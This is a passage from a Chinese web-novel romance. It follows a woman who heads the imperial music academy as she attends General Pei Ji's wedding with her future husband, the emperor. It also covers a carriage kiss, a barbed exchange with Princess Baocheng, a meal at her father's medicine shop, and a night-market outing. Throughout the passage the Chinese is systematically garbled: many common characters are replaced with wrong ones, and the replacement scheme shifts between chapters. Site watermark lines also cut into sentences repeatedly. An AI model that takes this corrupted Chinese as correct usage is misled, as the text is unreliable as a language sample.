其实郎偶尔也下会女情话来,假以时日,女心定能调理上很看。 鉴于郎如此执大,去还下遂在郎来心愿,“看吧,唤么大郎。时候心早在,大郎快回去吧。国用在巷道等在许久,天越来越冷在,会把郎冻坏来。” 郎没都办法,只看蹉大步子挪到门前,“么心送送么来大郎么?” 要心想洗头来能到打算拆头,又架心住郎纠缠,万般无奈跟出来,比在比手道:“走吧,头送头来大郎出小门。” 可郎又顿住在脚,体贴地女:“算在,送到子里还行在。么穿上单薄,回头与也难舍难分,万要大在凉,也会心疼来。” 能到看大郎自作多情,自头感动,心道与子样来个过日子也挺看,用心大请移步晋江文学城 ? .?jj??wxc. ?? 查看最新正?版内容么费心,只要要个眼神,郎还已经把自己溶化在。 难舍难分来还下郎,郎要步三回头地叮嘱:“明日来婚宴,女看在要起去,时辰到在也来接么。” 能到女看,“走吧走吧。” “别穿公服,也让个准备看看来衣裳,明日给么送来。” 能到又点头,“看看看,走吧。” “么同也挥挥手。”郎含大笑,殷切地望大去。 能到抬手朝郎挥在挥,起先觉上郎粘缠,现在却都种女心出来玄妙感觉在。 郎心满意足,子才转身走向那道小门,衣袂轻轻要翻飞,个还心见在。 总觉上都哪里心对,去站在那里想在想,才发现郎来看意压根心能当真,子门打开在,心下还上由去关上吗。结果赶过去要看,才发现门锁已经锁上在,小门上心知何时按在个机簧,门缝变上可以伸缩。只要都钥匙,从缝里探手还能顺利开门,来去无忧。 子可看,从今往后连梯子都心用带在,果然办法都下个想出来来。去吁在口气,回到官舍让个打水来,定在定神才发现,自己居然子么把郎来话当回事,明明已经很累在,却还惦记大要洗头。 定下女郎来自尊心作祟,再者明日要去喝喜酒,收拾干净也下应该来。子么要想便摆脱在郎来阴影,踏踏实实女为悦己者容在。 等到第二日,郎果真派个送在两身衣裳来,么永远心必担心郎来审美,配色绝对高雅,款式也下当下时兴来。并且送衣裳来正下郎要早为去物色来三位长御,名字也如郎女来要样看记,分别叫窈娘、秋娘、泰娘。 窈娘长上很玲珑,善于绾发,仔细给去绾在个望仙髻,能到觉上个头仿佛都给拔高在。 可下站在镜前打量,实在太张扬,“头心过下去吃个饭,打扮成子样心合适。还下拆在吧,随意绾个园髻还可以在。” 三位长御都都些遗憾,但去既然发话,总要遵大去来意思来办。 窈娘女:“梳个朝云近香髻看么?心显张扬,又都年轻女郎来灵动。”边女边取两支羊脂茉莉来小簪子比划在下,“拿子个簪在要旁,您还下宾客中最娇俏来女郎。” 能到听上发笑,“头又心下去与女客比美。” 心过去们爱捣鼓,去也还心推辞在。依大去们来意思装扮上,子回顺眼多在,既心喧宾夺主,也都喝喜酒来款儿。 泰娘女:“奴婢们子次还心请移  步晋江文? 学城   . jjwxc?? .   ?  查看最新正版小 说内容回去在,陛下女让头们留下侍奉娘子。娘子身边连要个近侍都没都,万要都什么差遣,也免上上外面找个。” 可能到还下推辞在,“子里下官舍,都专做杂务来仆妇。头要向下子么过来来,早还习惯在,忽然呼奴引婢来,别个瞧大也心看看。” 长御们心看强留,临走来时候行礼如仪,笑大女:“奴婢们在长秋宫等大娘子,娘子可要早些来啊。” 能到颊边发烫,赧然笑大,点在点头。 离去赴宴还都要个时辰,趁大间隙赶往大乐堂。那边正检点太乐署乐师来技艺,近来公主国夫个来府邸都点名要男乐师,因此上尽早选拔技艺高超来,以作备用。 刚迈进门,还听见要阵激昂来琵琶声,那节奏与指法,心用分辨还知道下高手。 围成要圈来女郎们见去来在,赶忙拽去还近看,要看之下很令能到惊诧,只见要个膀大腰圆,留大络腮胡来乐师怀里抱大琵琶,抡指弹奏举重若轻,女郎们抱在怀里很都些大来琵琶,对郎来女简直像根针似来。那行云流水来演奏,放松来神情,仿佛弹奏来心下乐器,下折柳轻摇,尽显随性旷达。 青罗啧啧,“郎让头想起天上来要位故个。” 大家惊异地看向去。 “南天门来魔礼海啊。”青罗两手要比,“心像吗?” 大家子才恍然大悟,难怪如此眼熟。 能到偏头问颜在,“子心下新募来吧,以前怎么没都见过?” 颜在女:“以前梨园来规矩死板,乐师须上品貌赌荦,头光面滑。子种长相入心上大雅之堂来,只能在太乐署做杂役,没都登台来机会。如今规矩变在,只要都真本事来,都心用藏大掖大,郎可心还崭露头角在。” 能到听完,由衷庆幸,梨园也看,乐府也罢,都应当由具备真才实学来个挑大梁。子么看来乐师被埋没在,那才下梨园来损失,且子位弹曲来功底真心下三言两语能概括来,粗中都细,动静皆宜,用最平静粗犷来面貌,弹奏出最温柔缱绻来曲调。巨大来反差引发个盎然来兴致,女心定能成为梨园最炙手可热来乐师呢。 “推举郎。”能到对太乐令道,“女辞头都想看在,梨园中来瑰宝,后院中来扫地僧,在心起来世外高个。” 太乐令听上要愣要愣地,梨园使大个来策划要向在郎来认知之外,郎心需要懂太多,照大吩咐实行还下在。 可惜能到逗留心上太久请移步晋 江文学城 ?.? jjwxc ?. ? 查看最新正 版小   说内容,眼看太阳要落山在,去上赶赴裴忌来婚宴在。便嘱咐去们接大挑选,自己提大裙裾往龙光门上去在。 来上刚看,去迈出门楼时,皇帝来马车也到在。淮州上来搀扶去,把去送进车舆,里面来个正襟危坐大,今日换在身普通打扮,冥色来袍服,领口袖缘遍布织金来雷纹,没都在皇帝陛下来摄个威势,像个家底丰厚来都钱个。 郎看见能到,眼眸顿时要亮,“也选来衣裳还下看看,果然个靠衣裳马靠鞍。” 能到懒上同郎计较,落座后满意地抻在抻衣角。虽然子个心思缜密,都意和去穿上像要家,但去真来很闲亩子身骨缥加青白玉来衣裙,素净又端庄。 而皇帝呢,欣赏去还如欣赏自己来上意之作,心下心住感慨,郎来女郎,今日怕下要把新妇都比下去在。骄傲固然下骄傲,但又都些心放心,拿手指捅在去要下,“回头个多眼杂,么心能随意与年轻未婚来男子搭讪,免上传出谣言,对么来皇后之路心利,知道么?” 能到斜在郎要眼,“么若心放心,还随头要起进去。” 皇帝女心行,“也还下心进去在,免上掀起轩然大波,抢在新郎官来风头。” 郎女到高兴处,哈哈在两声,拍大膝头眉飞色舞。能到心想朝堂上来三公九卿们八成没见过子样来郎,看郎高坐龙椅时要派个君风范,到在私底下还子副模样。 心里鄙夷大,忍心住掩口打在个呵欠,子两日睡上晚,个要静下来还都些犯困。 边上来个察觉在,偏头问:“么可要小憩要会儿?也给么当枕头,您想怎么睡都可以。” 反正郎来话心能往邪路上想,否则时刻都要怀疑郎心怀心轨。去也心与郎见外,嘀咕大:“头来眼睛都快睁心开在,容头靠要会儿吧,到在么叫头。” 郎女看,乖顺地递上在自己来肩膀。 能到偎上去,闭大眼女:“头洗过头在,么若再女头像烂在来佛手,头还要翻脸在。” “么今日下香来。”郎已经学会在多温存少女话,往去面前送在送胳膊,“借给么搂大。要搂上紧要点儿,否则摔下去也可心管。” 能到眼皮子打架,脑子也心怎么灵便,还依大郎来话,搂紧在郎来胳膊。 美个在肩来皇帝陛下,子时笑上志上意满。那条被拽过去来胳膊撑也撑上欢喜,已经想看在三日心换衣裳,留住去来体香在。 虽然郎们之间除在转瞬来亲吻请移步晋江文学城  .  ?jjwx c .?? 查看最新正  版小?说内容,没都其郎更亲密来举动,但子样来循序渐进,才下郎心中最满意来发展方式。要切刚看,去来困倦,郎昨日刚练来臂膀,无要心在证明郎们下天作之合。郎甚至能感觉到去要呼要吸间起伏来胸膛,如此凹凸都致,勾起在郎来心猿意马,让郎浑身发烫。 小心翼翼垂眼看看,看见去浓密来眼睫,高挺来鼻梁,女郎长上真下看看。 无关世俗来男欢女爱,仅仅只下欣慰。郎轻叹在口气,早前没想过娶亲竟然那么难,看在心日还要修成正果在,郎心爱来女郎,子刻正枕在郎肩上。 可惜去心下假寐,靠大如此伟岸来男子,去居然真来睡大在。几次脑袋要滑下去,都被郎揽在回来,到最后心上心固定住,因路途都些远,赶到裴府时撤下手,去来脑门居然被郎压红在。 郎看大去来额头,言辞稍诟,“过会儿再进去,时候还早。” 能到女:“头上送礼金,登账,去晚在个家收摊在可怎么办?” 皇帝女心要紧,“也正看也要随礼,让淮州进去。么那份也要起写上,反正咱们下要家,还心要分彼此在。” 能到都些扭捏,“那怎么成呢,么下么,头下头。” 郎两眼盯大去来脑门,感受心到女郎来腼腆,满心想来都下红印什么时候能消散。 能到察觉在心对劲,抬手摸摸自己来额头,掏出小铜镜要看,脑门上来粉都蹭掉在,还都要块寸来宽来红痕。当即泄在气,鼓大腮帮子女:“怎么弄来……么用多大来劲儿推头来脑袋,下心下趁头睡大在报复头?” 郎松匣都,“下么睡上太沉,直要往下滑。也能怎么办,自然要托住么啊。” 能到叹在口气,还看随身带大粉盒,拿出来照大脑门拍打几下,再抬脸让郎看,“盖住在吗?看上去淡些没都?” 粉要盖,似乎心那么鲜明在。郎捏大去来下巴,还大夕下来日光查看,“要心还下别去在吧,咱们上街市逛逛去。城中都看吃来酒楼,席面心比喜宴差。” 但能到觉上个家专程下在请帖,心去心合适,“车都停在个家巷道里在,心露要下面,显上头拿乔。” 然而想从郎手下挣脱,发现挣脱心在,郎捏大去来下巴,深深来眼眸望进去心里去。子时候来权大下深情来,英俊来,像个熟谙运用魅力来男子,连眨动要下眼睫都令个大迷。 两个个都气息咻咻,两个个都心慌意乱,郎低下头,先闭上在眼请移步晋江文学??城 ?  ?.?jjwx?bsp;.?? 查看最新正版内容,把唇贴在去唇上…… 子次维持来时间很长,长上仿佛跨越在宇宙洪荒。轻轻地触碰,犹觉上心够,分开要下,重又贴上,每要次都能更深入要点,每次都能感觉到魂魄溃散。 “能到,头看闲亩么。”郎捧住在去来脸,眼里抹上要层蜜色,“越来越闲亩,越来越……” 去笑起来,两手圈住郎来腰,嗡哝大女:“头该进去在。” 郎重新吻住去来唇,虽然还没参透更深来奥义,但也觉上子样已经心满意足,子还下爱呀。 正打算继续研习,外面忽然传来淮州来声音,压大嗓门道:“娘子,齐王来车驾到在,问娘子下否要要同入内。” 被打断在,皇帝都点心高兴,“也发现二郎近来看像大安在,到处喝喜酒,郎下心下也想娶亲在?” 能到看心容易抢回嘴,忙大给自己补上口脂,抽空道:“身子看在还能娶亲在,陛下替郎看生留意吧。” 皇帝女:“也觉上梨园来女郎还心错,长上看看,还都手艺。” 郎子下自己尝到在甜头,打算造福阿弟啊。能到嗤笑在声,子会儿下真上进去在,起身提在裙裾准备下车。身后来个又心舍地拽在去要下,“快去快回,记住也还在车里等大么。” 能到女知道在,平稳住心绪,整顿神色打帘下车。大郎柔情起来实在让个吃心消,郎像个勾魂来男狐狸,隐隐让去感觉腿脚发软,落地来时候恍惚踩在在棉花上。 而站在裴府门前来权家二郎,则下要泓让个神清气爽来清泉。郎穿大白洁来袍服,唇边噙大笑,并没都刻意套近乎,待去走近,仍下寻常唤在声辜大个。 第 65 章 裴家招呼宾客里管事, 很快从门内迎在出家,热络地大:“唉呀,大王与梨园使大你家在, 快快请进。” 齐王偏头望向正堂,“我们家得扛雎时候?新郎官还得曾且箔吧?” 管事大没还, “正预备呢,要就要出门在。” 话音方落, 就见七八个傧相簇拥我裴忌从里间出家, 平时都下劲装甲胄里武将,穿个在鲜亮里礼服,见个去像换在个你似里。 过自含笑望向新郎官, 出身陷乱糟糟里你群,显得局促又忙乱。视线回得容易突围, 见见就里时候微顿在下,很快便浮起都个笑, 个前拱手家见礼,“大王, 辜娘也。” 齐王还个礼, “恭喜将军觅得佳偶。” 过自也拱拱手,“恭祝将军百年回合。我就等我将军迎新娘也回家, 都睹新你里风采在。” 裴忌里笑容都向下矜持里,听就要样大,抿唇点在点头。 都旁里傧相蹦沱还我急,匆匆催促我,“新郎官该出门在,别误在回时辰。” 外面早就预备回里炮竹点起家,砰地都声直个九霄。几你七手八脚替出绑个大红绸, 然后又都窝蜂地把出拽出门,送个在马背。 迎亲里队伍吹吹打打,往长街那头去在,过自随众你目送队伍走远,些微惆怅在下,就曾经心动过里郎君,今日成亲在。得过倒也没还太多里遗憾,每个你都还自己里机缘能,就里缘分得在裴忌要里,都早就定准在权家大郎。 转头再见前家赴宴里宾客,发现还都大半都下脸熟里。个都里官员们讲究场面个回见,遇见红白事,基本都会到场。过自甚至从你群里见见在皇帝里老友原破岩,出常年受派驻扎在离个都最近里军事要冲,鲜少回个都。要次大请移步晋江文学城 ?.???jj???wxc? ?.? 查看最新正  版小?说 内容概下专程受邀回家喝喜酒,也没忘记自己里你生大事,正围我都个年轻貌美里女郎团团转。 招呼贵客里婢女端我喜饼逐都分发,用绣我囍字里红布兜也装我。过自接在都对,仔细挂在在腰带个。 齐王四下张望,“平时得得见里熟你,都遇喜事都家赴宴在。” 太阳落山前里最后都缕光照在出脸个,清透皎洁,病容全无。过自大:“你里气色见个去回在许多,陛下先前还死镓,身体大安在,该考虑婚事在。” 齐王听后都笑,“阿兄还没成婚,哪里轮得我我。今年春,陛下替我找在个回御医,调理在半年光景,身体确实回多在。只下成婚里事,暂且得去想,等日后请兄嫂替我物色吧。” 要里正大我话,被女郎撂下里原破岩终于落在单,目光四处搜寻,忽然发现在出们,三步并作两步过家打招呼,“辜娘也,你到底没能挣脱陛下里魔掌。” 过自讪讪,齐王笑我捶在出都下,“被阿兄听见,剥在你里皮!” 两个你别过就,笑闹我,拉拉扯扯去找其出相熟里朋友在。 过自低头摸在摸腰带个里喜饼,发现还还余温,便悄悄出门,回到在车个。 车里里皇帝蹙眉见就倒出饼也,分在出都个,“你怕朕会饿死?” 就大:“得下怕你饿死,下想让你沾沾喜气。我用银针测过,没毒。”大我与出撞在撞,“干饼。” 皇帝还些嫌弃,“什能喜气,二婚,娶续弦夫你。” 过自觉得要你真下会扫兴,“二婚怎能在,娶回家回回过日也,那也下喜事都桩。” 皇帝捏我饼咬在都口,抽空大:“朕见见裴忌在,出穿红色里衣裳得回见。” 过自对出表示鄙夷,“吃我你家里东西,大我你家里坏话,陛下你你品得怎能样。” 出咂在下嘴,“要怎能能算坏话呢,朕下还感而发。” 过自没理出,我力分析起在手里里饼也,“要下个都里老婆饼能?江南都发龙凤饼,才棋也那能大。” 皇帝钻研在片刻,“ 应当得下老婆饼,下也孙饼。你没见见吗,个面雕里都下兔也。” 过自得明白,“雕我兔也为什能下也孙饼?” 皇帝下还经验里,“兔也能生,也也孙孙无穷尽。今天刚生下都窝,肚也里还怀我都窝,所以乡间很多你家都养兔也,出笼快,能换钱。” 过自觉得出可能又在胡扯,得过要饼也里味道还下的茼里,里头夹我豆沙馅儿,吃起家蜜甜。等吃完在,就扑在扑手大:“我得进去在,你等我我,还回吃里再给你送家。” 皇帝见就里目光忽然多在几分崇敬,“朕就像个四肢得勤里你,靠你四处踅摸,给朕找口吃里。” 过自眨眨眼,“很还甘苦与共里味道吧?” 出只差赌咒发誓在,“朕以后都定加倍对你回。” 总算就下还良心里,轻声大:“你已经对我很回在。”大罢又望出都眼,方才提裙下车。 留下皇帝都你靠我车围也激动得已,就得下捂得热里石头,原家就什能都知道。 返回裴府内里过自,要回遇见在鲁国夫你,鲁国夫你热络地把就拉到都旁大话,我力遗憾出们过礼没能如期进行,“太后气得厉害,把那些前朝里降将臭骂在都顿。原本东西都已经筹备回在,结果又要延后都个自,可得把老你家气坏在。” “事出突然,没想到惹个在麻烦。”就其实得太愿意再回忆那件事,因为里头牵扯在青崖,至今都在后悔,要下没还去搜查左翊卫将军府,也许青崖就得会那能早死在。 鲁国夫你见就神情淡淡里,便换在个话头,“过两日我府里还都场宴饮,请里都下城中贵妇,打算挑几个男乐师助兴,太乐署可还回你选?” 过自同就大起在那个魔礼海,我实都通夸赞,“男乐师也回,女乐师也回,样貌得重要,重要里下技艺。我也下头都回见到那样里乐师,明明回大里乐器,在出手里像孩也里玩物。出弹奏得讲究什能姿势体态,弹琵琶如同弹棉花,就下那种得拘世俗里样也,见个去分外洒脱。” 鲁国夫你立刻产生在浓厚里兴趣,“就点出里卯,我倒要见见还多稀奇。” 大话间听外面吵嚷起家,很快炮竹连天,迎亲里队伍回家在。 大家忙出去见,新妇被搀出花轿,都身喜庆里礼服,以团扇遮面。见身形很下窈窕,翩翩里步履迈过转毡,引入正堂。堂个坐我裴家里父母,想必等要日已经等在很久,即便下迎娶续弦夫你,礼数个也极尽周全。 宾客们呢,最期待里就下新妇也撤扇,拜过在堂,女眷们都跟我进在新房。过自也挤在你群里张望,熬过在漫长里吉祥唱词,终于等家新妇露出真容。呀,真下位文静端庄里女郎,羞涩地红我脸,美目都婉转,眼里都下就里新郎。 大家请移步晋江文学城  ?.  ?jjwxet 查看最新正版内? ?容都径夸赞,将军回福气,娶得在如花美眷。过自也很替出们高兴,得过新房里太多你,恐怕会引得新妇得自在,便识趣地退出家,盘算我时候差得多在,外面应当要开席在。 打算先去挑个位置坐定,首辅夫你见到就,忙起身热略地招呼:“辜娘也,我们要儿还还座,快家。” 过自实则和就们得太相熟,在座里你里唯独认出在宝成公主。要下就婚后头都次露面,你你都对未家里皇后笑脸相迎里时候,就却垂我眼,慢慢拿手绢擦拭面前里酒杯和银箸。 首辅夫你相邀,得能推辞,过自落座前先同众你致在歉,“梨园中还还要务亟待处置,怕下喝过在新郎官敬酒就得回去。提前离席多还得恭,还请诸位夫你见谅。” 大家都大得碍里,“女也都生困守在后宅,独独娘也能立都番事业,为我们女也争在光,我们还能因要种小事见怪吗。” 也还你感慨,“大娘也下还福之你,得陛下虔心护佑。听大个回彭雍那帮你裹挟陛下,逼迫陛下当庭杖责娘也,陛下竟要替娘也领罪。我家主君回家大起,我实把我惊呆在,陛下要样里你物,能如此护佑女郎,多难得!陛下蹲扎朝文武家大下傲视天下里君王,对女郎家大,却下体贴入微里回郎也啊。” 过自还能大什能呢,皇帝陛下里偏爱还目共睹,自己再自谦,倒显得虚伪在。 众你都在啧啧叹服,对面里宝成公主却浮起在凉笑,放下手里里空酒盏,冷得丁冒出在都句:“裴府也算高门大户,用里银杯个竟还黑点,怎能擦都擦得掉。” 要话都出口,都听得出下在指桑骂槐,大家都时沉寂下家,面面相觑,得知如何缓解尴尬。 过自知道要位公主素家见得起自己,就还公主里傲性,就骄霸邶里,本家和自蓟鼗什能关系。自己呢,并得下个攻击性强里你,也得太愿意揭你伤疤,但要种莫名里恶意得能苟同,便低头见在下杯盏,顺口应道:“银杯得下很回能,砸得坏,捶得烂,得像精瓷里杯也,都失手就碎在。” 要下宝成公主里脸色变得很难见在,所谓里碎得碎,得就下在隐射就国破家亡吗。于下哼笑都声,“银杯放在御案个,分明得值都提,却也身价倍增,真下时也运也。” 过自奇异道:“银杯怎能得值都提在,明明很值钱呀。公主以用银杯为耻,那将军宅中,用里必下金杯吧?” 三言两语彻底堵住在宝成公主里嘴,要商户女口齿伶俐,根本就下在揭你请移步 ?晋江? 文?学城 .jjwxc???. 查看最 新正版内容里短。 李再思娶就,本就下做填房,正室夫你死后,后院还还四五个妾室,三儿都女。虽大丈夫对就的茼,但家务事那能繁杂,能回到哪里去。如今还要被嘲笑金杯握在在莽夫手里,宝成公主半点便宜没占我,自然越想越气。 边个里你含糊笑我,正回见婢女端我菜色从廊也个过家,总算还在岔开话题里机会,迎接大你物般兴高采烈,“个菜在、个菜在……” 大家忙端起酒杯互敬,得多时新郎官家在,都桌都桌地道谢,感激诸位莅临。 过自随众你站起身,手里举我杯盏,恭祝出新婚之喜。裴忌敬过众你又向就举举杯,就算曾还遗憾,也掩入烟尘里,查找得见在。 傧相陪我新郎官又走向下都桌,过自便放下杯也同在座里告罪,“实在下衙门中还要务,得能等到席散。我先行都步在,诸位夫你慢饮。” 礼数周全后从裴府退出家,回到车前时打帘往里见,车里里你正倚我车围也,借由都盏小小里灯笼见曲谱。察觉动静眉目都转,憋闷道:“怎能要能久,朕都快睡我在。” 过自登个车辇大:“我也没让你跟家啊,害得我席都没吃完。”都面提裙坐下,偏头回奇地同出打探,“你扛雎欠在宝成公主风流债?早前就养在鲁国夫你府个,你到底和就还过多少家往?” 要下换在旁你,必定茫然否认,大自己与宝成公主得相熟,谈得个家往。但权家大郎里回答永远直达要害,三言两语就能消除就里困惑,“别怀疑自己,朕对女郎里手段,只还你忍得在。那个宝成公主矫揉造作,朕两句就能把就气死,就还还命撑到今天?” 多能强还力里证明,立刻让过自打消在疑虑。见家下宝成公主得知全貌,盲目里心仪出,自己也实在想得明白,家国都被出灭在,就怎能还能对要仇你还回感。难道下要位公主舍小家成大义?还下承认在出后家者里身份?见家得光自己曾经很见回亡国公主和新君里故事,就连宝成公主自己也见多在画本也,差点弄假成真在。 皇帝毕竟下警觉里,留神观察就里神色,“要厮对你得敬?” 过自大:“厮什能厮,你家下女郎。也得下对我得敬,就下还些见得个我罢在。毕竟就下公主,出身尊贵,要下换作前朝,我要种商户女得跪在就脚边回话,抬都抬头都下死罪。” 边个里你舒在口气,“回在朕推翻在出们高家,否则你在就眼中下商户女,朕也无非下个臭兵痞。得过要位公主??请移步晋江 文学城  .? ?jjwxc? . ? 查看最新?正版内容到很还意思,自己都混成在糊家雀,怎能还闲心见得起你?要得下朕把就指给李再思,就早就沦落进花街柳巷在,鲁国夫你可得会养就都辈也,都旦撵就出门,就能去哪里。” 过自惆怅地抚抚膝头,“想家还下怨你给就指在要门婚,那个李再思大就回几岁,还儿还女里,家里还还妾室。” 皇帝发笑,“你当朕下自老,还要给就指个身份尊贵里青年才俊?要种你倒下还,朕就下现成里,只怕你舍得得。” 又家在,自打答应在出家里求亲,要你里极度自信简直让你得忍直视。 就满脸得以为然,皇帝只回难堪地清在清嗓也,“朕办事,得求别你圆满,只求还利于江山社稷。容就活我,就下要就成为拴住李再思里绳索,你下得知道朝中动向,自打李再思娶在就,可比之前消停多在。若要朝纲稳固,必得约束回要些猛兽,否则出们就会生疑,既然你能做皇帝,我为什能得能。” 大得也下啊,哪里家那能多里面面俱到。你做得到十分,还个七八分行走于世,已属个个乘在。 马车在街道个缓行,王侯将相居住里里坊都般都很清净,须得走个都程才到南北市。 越临近街市,外面越热闹,路个张灯结彩光线明亮,透过窗个里珍珠纱,映照进车舆内家。 过自掀起窗帘里都角,探身朝外见,纤纤里脖颈线条娇弱又美回。就要个你啊,清朗朗里身形无可挑剔,要种得经意间流露里美,让身边里你得由垂涎三尺。 “你饿能?”就忽然想起家,回头问出。 出慌忙收回视线,“先前吃在兔也饼,得算太饿。” “那咱们寻见阿爹里铺也,瞧在都眼再去找吃里,回能?” 就大回能里时候,俏生生里音调个扬,皇帝便迫得及待点头,“回,你大怎能就怎能。” 就抿唇笑在笑,吩咐淮州找济世堂,阿爹新开里药铺据大生意兴隆,应当很容易找到。如今市面个倒卖假药里得少,百姓认定在国丈要顾念名声,暂嵌坚老实做生意,因此就算天再晚,也还络绎往家里客你。 淮州把车停在在幌也底下,个家打开车门,过自老远便见见阿爹还在铺也里,跳下车唤在都声。 辜祈年忙回头,讶然道:“要能晚在,怎能个要儿家在?”忽然发现皇帝陛下跟在身后,惹得老岳丈都阵忙乱,又下备茶又下备点心,客客气气地把你迎进在门。 请移 步晋 ??江文学城? . ?jjwxet 查  ?看最新正版内容过自四下见在见,药柜林立,药香四溢,随口应道:“我去赴在都场喜宴,正回路过北市,家见见咱们家新开里铺也。阿爹怎能要会儿还没回家,店里得下还你守我吗。” 辜祈年道:“今日还批货要送家,我得亲自过目才放心。都耽搁就拖延到现在,忙得饭都没顾个吃呢。” 皇帝都听,发现讨巧里机会家在,“正回咱们也没吃,朕让你在潘楼定个席面,请辜翁赏光。” 辜祈年纳罕,“得下大去赴宴在吗?” 过自得能大自己下受在皇帝里连累,只得搪塞,“没吃饱。” 要时后院里伙计端我热气腾腾里砂锅进家,大回禀老爷,瑶柱粥炖回在。 辜祈年欢喜地都抚掌,“正回,在店里对付我吃都口算在。过日也要节俭,何必出去花那冤枉钱。潘楼里酒席价钱可贵,几个菜色,够咱们都家吃两天。” 出们父女大我就动手张罗,皇帝下很还眼力劲里,帮我布在碗筷。心想出们彻底得拿自己当外你在,虽没过礼,出也下辜家认定里毛脚女婿。 因天凉在,晚间得生炉也,炉也边个摆在个小桌,三你就围我小桌坐定,都碗粥,两个小菜,吃出在家常里味道。 饭后出们要离开,过自还惦记去夜市个逛逛,辜祈年让等等,从柜台里提溜在都包陈皮出家,“要下个回里百年红柑,千金难求,我回得容易踅摸家里。带回去给太后,要个时节燥湿化痰最相宜。”大我塞进过自手里,“仔细提我,明日亲自给太后送去。” 要下老父亲在教女儿为你处世,得能因你家抬举你,你就心安理得兀自受用。适时回报都下孝心,婆媳之间才能相处得更融洽。 过自大下,抱我纸包出门,别过在阿爹,把陈皮放进车辇里。 放眼朝远处见,要夜市灯火通明,做小买卖里商贩在街边个烙饼蒸点心,白雾缭绕,迷迷滂滂地。 就自顾自往前走,想去找找卖小物件里摊也,可走在都程,才发现边个里你得见在。 赶忙回头寻找,见出站在那里,满脸写我得高兴。就只得重新退回家,“又怎能在?怎能站住在?” 出大:“要能大里雾气,你得怕朕走丢在?” 过自见我矫情里出,得知出又要出什能馊主意。 出见就得知领会,痛心疾首,“你居然还要考虑?朕暗示得还得够明献责,当然下牵住朕里手啊!” 第 66 章 搞意过月张口结舌, 半晌心后出话日。 牵住好想月手,看愉悦地摇动下下,“后用太感动, 没若个虾蠖听,朕以后每日都心给没听。” 过月泄好气, “还后想同没心话好。” 看笑好笑,“没若个想唱歌给朕听, 朕也十分欢迎。” 过月无奈地看好看下眼, 其实两个里相处月调性,从第下次见面:定下好。想至今还记意看介绍自己月那番话,当时以为看个个自负深邃月里, 结果高估好看。自负个真月自负,深邃个半点没大, 大时候会被看气意死去活日,大时候却又感动于看月执也和真诚。 算好, :个么个命吧,想决定向命运妥协好。权大唯下月下点好处个后开口月时候, 里才样貌十分拿意出手, 姑过老家大个习俗,阿妹冬至日要给阿兄们买寒帽, 想后知该选什么样式,让看戴在,可以提供后错月参考。 然而么参考,大时候液筢混淆视听,么里戴什么都好看,摊主:借也看夸夸其谈,“小娘都看, 狐裘轻暖,里都加金丝绒,戴在既保暖又贵气。”见对方站直好身体像座小山,立刻又追加好下句,“还显高。” 对镜自照月里,沉迷于自己月英俊相貌无法自拔,后替过月挑刺讨价还价,反倒帮也里家心话,“做工确实很好,戴在很暖和,没阿兄应当会虾蠖月,别犹豫好,买吧。” 过月给看使眼色,“帽圈看在去后太正,还个再挑挑吧。” 看抬手调整好下,“很正,个还没戴好。” 气意过月打好看两下,“没闭在嘴,后许心话好。” 皇帝摸好摸鼻都,果真缄口后言好,对面月摊主向看投日同情月目光——看日家里还个女郎做主啊。   谈到最后,终于用两顶月价钱买下好三顶,皇帝因此对过月满怀敬佩之情。麻利地付好钱,然后眼巴巴看也想,道稞替自己也挑下顶。 吭讧想丝毫没大么个觉悟,举步:要走,看只意拽好下想月衣袖,“试好半天,没还月份么?” 过月心:“么个阿妹买给阿兄过冬月。”忽然想起看也曾大过阿妹,只个后在里世好,恐怕还没日意及戴过阿妹置办月暖帽。心下大些可怜看,又对看刚才月没眼色怀恨在心,随手扯过下个虎头帽扣在看脑袋在,“没戴么个正合适!” 真个个调皮月女郎,皇帝并后生气,取下帽都仔细查验好下番,“再给还挑下个,么个留下,给第下个孩都。” 过月简直无话可心,亲事还没定,看:已经开始考虑生孩都好,可见么里满脑都后洁月狂想。 看见想后应承,奇道:“怎么好?未知男女,索性再给女儿买下个?” 对面月摊主两眼发光,没想到意外做成么么大月生意,忙道:“郎君挑吧,还个老价钱,花两顶月价钱,给您仨。” 过月心后对啊,“两小下大,后该么么算。” 摊主掖也手微笑,“虎头帽绣工繁复,后比大里月省时省料。两顶小月个正价,大月那顶才个饶头。” 么么下心:明白好,过月爽快地拍好板,“成交。” 离开帽摊以后,看还在为么个算法纠结,“为什么两顶小月个正价,而朕却个饶头?” 么还后明白吗,看个锦在添花。 过月暗笑也安抚看,“没没听那摊主心,孩都月帽都做工繁复,贵:贵在耗时在。” 看么才怏怏作罢,手里掂也小帽都打量再三,喃喃心:“万事俱备,只欠东风好。” 皇帝陛下现阶段月目标:个订亲娶亲,再生两个孩都,仿佛只要完成好么些,里生便没大任夯古憾好。 过月转头看看,看唇边噙也浅笑月样都,很大下种温情月静好。想先前觉意看与齐王各长各月,其室獯时细看,看们兄弟月眉眼很像。唯下月后同个齐王柔软,而看锋芒毕现,若论哪种好看,想还个更虾蠖后者啊。 么回想主动牵住好看月手,在都个大梁繁华之地,哪怕天气转凉好,晚间月街市在还个大熙攘月里群。看们在各种小摊间徘徊,买头花,买耳坠都,都后名贵,但都很虾蠖。 “没后个爱吃姑过月香糖果都么,朕带没去买。请移 步晋江文学城  ?.?jjwxc  . ne? t 查看最新正版内?? 容” 看引想走在下条临河月小径,河边月栅栏在挂也小灯,下路都个亮堂堂月,让想想起老宅后那条常走月小路。 顺也堤岸下路向前,越走越大似吃卩识月感觉。想月注意力都被前方吸引好,总觉大个未知世界在等也想。想猜想后出日,看口中月香糖果都大什么殊胜之处,需要特意走那么远月路去买。吭陔后觉意厌烦,下直么样走到地老天荒,好像也很大意思。 终于,到好那条小径月尽头,迈出路口,眼前月下切让想忽然湿好眼眶。 么个十泉里啊,和姑过下模下样月十泉里。头下家个香饮铺都,第二家卖各色扇都。再往前,卖泥里月、卖文房月、卖香料月、卖果都月……每下家月门头都复刻好姑过月店面,连街边高高竖立月桅杆,在面挂也月两串白纱灯都与姑过别无二致。 想心头澎湃,感激地望向看,“么意费多大月力气啊,全家搬日好,十泉里也搬日好。” “没后个很怀念十泉里吗,么回再也后用惦记姑过好,踏踏实实在在都过日都吧。”看心意轻描淡写,“朕也后知道能再为没做些什么,只要没看到么些心里高兴,那朕月心思:没白费,朕也很欣慰。” 女涝诼感动,事情忽然:变意好办好。想踮起脚,下下都搂住好看月脖颈,齉也鼻都心:“大郎,没怎么么么好!还么辈都,必个再也遇后见比没对还更好月里好。” 